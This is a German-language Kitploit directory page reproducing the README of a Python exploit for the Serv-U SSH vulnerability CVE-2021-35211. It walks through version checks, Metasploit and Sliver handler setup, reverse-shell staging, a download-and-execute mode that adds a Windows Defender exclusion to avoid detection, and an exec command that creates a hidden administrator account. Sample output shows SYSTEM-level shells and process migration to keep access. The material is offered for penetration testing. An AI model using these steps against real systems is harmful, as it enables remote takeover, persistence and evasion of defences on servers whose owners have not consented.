Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-35211 — Python-Exploit für die Serv-U-SSH-Sicherheitslücke (CVE-2021-35211) mit mehreren Payload-Modi: Stage, Exec und Download-Execute, die Shellcode-Ausführung und Befehlsinjektion ermöglichen. | Kitploit
Tools/GitHubGitHub/bishopfox/cve-2021-35211
Exploit-FrameworksPayload-GenerierungSchwachstellenanalyseExploitationPenetrationstestsRed TeamingShellcode-GenerierungPayload-EntwicklungBinary-Exploitation
GitHubbishopfox/cve-2021-35211

CVE-2021-35211

Python-Exploit für die Serv-U-SSH-Sicherheitslücke (CVE-2021-35211) mit mehreren Payload-Modi: Stage, Exec und Download-Execute, die Shellcode-Ausführung und Befehlsinjektion ermöglichen.

3998vor 4 JahrenVon Kitploit geprüft
Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Serv-U CVE-2021-35211 Exploit

Potenzial für DoS - prüfen Sie Ihre Einsatzregeln

Der Exploit funktioniert nicht bei jedem Versuch, aber er funktioniert oft genug, dass er in ungefähr einem von fünf oder sechs Versuchen Shellcode ausführt. Gelegentlich führt ein fehlgeschlagener Exploit jedoch zum Absturz des Serv-U-Servers. Bitte stellen Sie sicher, dass Ihre Einsatzregeln das Risiko eines Dienstausfalls oder einer Dienstbeeinträchtigung zulassen. Symptome, die in Tests beobachtet wurden, sind:

  • Absturz und automatischer Neustart (am häufigsten)
  • Trennung angemeldeter Benutzer bei erfolgreichen und nicht erfolgreichen Versuchen
  • Absturz ohne automatischen Neustart

Caveat emptor.

Schnellstart

Versionen sind wichtig. Dieser Exploit verwendet fest verdrahtete ROP-Adressen, die nur gegen Serv-U-Version 15.2.3.717 gültig sind. Wir können möglicherweise andere Versionen hinzufügen; bitte fragen Sie, wenn Sie Unterstützung für andere Versionen von Serv-U oder Windows benötigen.

Prüfen Sie die Version auf Ihrem Zielsystem

root@kitploit:~
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717

Ausführen des Exploits

Der Exploit erwartet die folgenden Argumente:

root@kitploit:~
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...

Es gibt drei Modi (bzw. Payloads), die Sie bei einem erfolgreichen Angriff ausführen können:

  1. stage
  2. exec
  3. downloadexec

Stage-Modus

Bei erfolgreichem Exploit führt er einen Metasploit-/Sliver-kompatiblen Shellcode-Stager aus. Er ist der unzuverlässigste aller Payloads; erwägen Sie `downloadexec1 stattdessen. Führen Sie es wie folgt aus:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort

positional arguments:
  stageHost   Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
  stagePort   Port number for your staging instance

optional arguments:
  -h, --help  show this help message and exit

stageHost und stagePort zeigen auf einen lauschenden Handler auf Ihrer Sliver-/Metasploit-Kiste. Sie können jeden beliebigen Payload wählen, aber ich habe festgestellt, dass nur windows/x64/shell/reverse_tcp zuverlässig funktioniert. Das ist schade, denn das ist keine verschlüsselte Shell, und Sie müssen Ihre Einsatzregeln prüfen, bevor Sie so etwas ausführen.

Nochmals: caveat emptor.

Richten Sie es in Metasploit auf Ihrem Kali-System wie folgt ein:

root@kitploit:~
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.

Führen Sie dann den Exploit aus:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Auf dem Kali-System sollten Sie die Stage-Anfrage und den Start der Befehlsshell sehen:

root@kitploit:~
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000

msf5 >sessions -i 6
[*] Starting interaction with 6...


(c) Microsoft Corporation. All rights reserved.

C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system

Sliver

Die Sliver-Unterstützung im Stager-Payload ist höchst experimentell und funktioniert selten. Falls es funktioniert, sehen Sie normalerweise, wie die Sessions starten und sofort sterben. Aber wenn Sie eine Session erhalten, die nicht sofort beendet wird, können Sie Maßnahmen ergreifen, um Ihren Sliver-Zugang zu erhalten, indem Sie zu einem anderen Prozess migrieren.

Führen Sie auf Ihrem Sliver-Server den Befehl stage-listener aus, um Ihren Listener einzurichten. Weitere Details zum Staging finden Sie in der Sliver-Dokumentation:

root@kitploit:~
elvis@h:/ehome/haggis$ sudo sliver-server

    ███████╗██╗     ██╗██╗   ██╗███████╗██████╗
    ██╔════╝██║     ██║██║   ██║██╔════╝██╔══██╗
    ███████╗██║     ██║██║   ██║█████╗  ██████╔╝
    ╚════██║██║     ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗
    ███████║███████╗██║ ╚████╔╝ ███████╗██║  ██║
    ╚══════╝╚══════╝╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options

[*] Check for updates with the 'update' command

sliver > 
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode

Führen Sie den Exploit im Stage-Modus aus:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Wenn der Exploit funktioniert (und bei Sliver- oder Meterpreter-Payloads funktioniert er nur sehr selten), sehen Sie etwa Folgendes (und ja, Sliver hat sich diesen Payload-Namen ganz allein ausgedacht!):

root@kitploit:~
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC

sliver > sessions -i 4

[*] Active session ARTISTIC_PANTIES (4)

sliver (ARTISTIC_PANTIES) > info

                ID: 4
              Name: ARTISTIC_PANTIES
          Hostname: WIN-EMCK6E5O0DI
              UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
          Username: NT AUTHORITY\SYSTEM
               UID: S-1-5-18
               GID: S-1-5-18
               PID: 3956
                OS: windows
           Version: Server 2016 build 20348 x86_64
              Arch: amd64
    Remote Address: example.com:57071
         Proxy URL: none
     Poll Interval: 1
Reconnect Interval: 60

Als Erstes sollten Sie zu einem anderen Prozess migrieren, denn es besteht eine gute Chance, dass Ihre Sliver-Session stirbt und nicht zurückkehrt. Die Grundursache ist mir zum Zeitpunkt des Schreibens nicht bekannt.

root@kitploit:~
sliver (ARTISTIC_PANTIES) > ps

pid   ppid  owner                         executable                   session
===   ====  =====                         ==========                   =======
0     0                                   [System Process]             -1
4     0                                   System                       0
...
3872  728   NT AUTHORITY\SYSTEM           svchost.exe                  0
4868  728   BUILTIN\Administrators        Serv-U.exe                   0
4636  868   BUILTIN\Administrators        dllhost.exe                  0

sliver (ARTISTIC_PANTIES) > migrate 3872

[*] Successfully migrated to 3872

An diesem Punkt sollten Sie eine stabile Sliver-Session haben, die gegen die Launen von Serv-U und dieses Exploits immun ist.

Download- und Ausführmodus

Dies ist der zuverlässigste Modus und derjenige, bei dem die Microsoft Defender Endpoint-Sicherheit am wenigsten wahrscheinlich anschlägt. Das liegt daran, dass er einen PowerShell-Befehl (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") verwendet, um eine Verzeichnisausnahme in Microsoft Defender hinzuzufügen, damit Sliver-/Meterpreter-/andere Binaries nicht auf Malware gescannt werden. Das schützt Sie vor Windows Defender, aber das ist auch schon alles; Sie müssen andere Endpoint-Sicherheitstechnologie, Netzwerk-IDS usw. berücksichtigen.

Im Erfolgsfall wird eine Binärdatei von einer URL heruntergeladen und ausgeführt. Sie benötigen einen Webserver, der Ihre ausführbare Datei bereitstellt. Ich habe Python verwendet, aber bitte beachten Sie, dass ich in einem lokalen Netzwerk ohne SSL teste. Bei echten Exploits müssen Sie Ihre Einsatzregeln prüfen, wenn Sie unverschlüsselte URLs verwenden möchten.

Nicht zum ersten Mal: caveat emptor.

Starten Sie einen einfachen HTTP-Listener wie folgt:

root@kitploit:~
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

Bei laufendem Listener können Sie den Exploit ausführen:

root@kitploit:~
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Sie sollten in Ihrem Listener etwa Folgendes sehen:

root@kitploit:~
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -

Das Zielsystem führt calc.exe aus und startet den Serv-U-Dienst neu, damit Benutzer sich wieder verbinden können. Beachten Sie, dass die ausführbare Datei kein Fenster anzeigt. Wenn Sie dieses Beispiel ausführen, sollten Sie wincalc.exe im Task-Manager sehen.

Befehlsausführungsmodus

Im Erfolgsfall führt er einen Befehl auf dem Zielsystem aus. Führen Sie es wie folgt aus:

root@kitploit:~
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Danksagungen

  • Die Microsoft-Forscher, die die Schwachstelle gefuzzt haben: https://www.microsoft.com/security/blog/2021/09/02/a-deep-dive-into-the-solarwinds-serv-u-ssh-vulnerability/
  • @NattiSamson hat den PoC erstellt, auf dem mein Code basiert: https://github.com/NattiSamson/Serv-U-CVE-2021-35211/blob/main/CVE-2021-35211_PoC.py

Schlussgedanken

Dieser Exploit bringt den entfernten Prozess leider häufig zum Absturz. In der Regel startet er neu, und ich versuche herauszufinden, ob ich ihn stabiler machen kann. Bis dahin denken Sie bitte daran: Prüfen Sie Ihre Einsatzregeln und caveat emptor.

Die Tatsache, dass ASLR in der Serv-U-DLL deaktiviert war, war unglaubliches Glück und hat viel Ärger erspart.

Andere Schutzmaßnahmen wie Control Flow Guard („CFG") waren ebenfalls deaktiviert. Auch das machte es einfach, einen Exploit zu schreiben, ohne Einschränkungen beim Zugriff auf kritische Funktionen wie GetProcAddress() umgehen zu müssen.

Es ist erwähnenswert, dass die Methode, mit der ich die Adresse des ROP-Stacks berechne, gelegentlich eine Adresse erzeugen kann, die nicht 64-Bit-ausgerichtet ist. Infolgedessen stürzt der Exploit ab, wenn GetProcAddress() eine MOVAPS-Instruktion erreicht (die ausgerichtete Speicheradressen erfordert). Um den Exploit zuverlässiger zu machen, könnte eine Lösung darin bestehen, den ROP-Stack zu zwingen, an einer ausgerichteten Adresse zu liegen; das erfordert etwas Anpassung des ROP-Payloads und bleibt dem Leser als Übung überlassen.

Tool herunterladen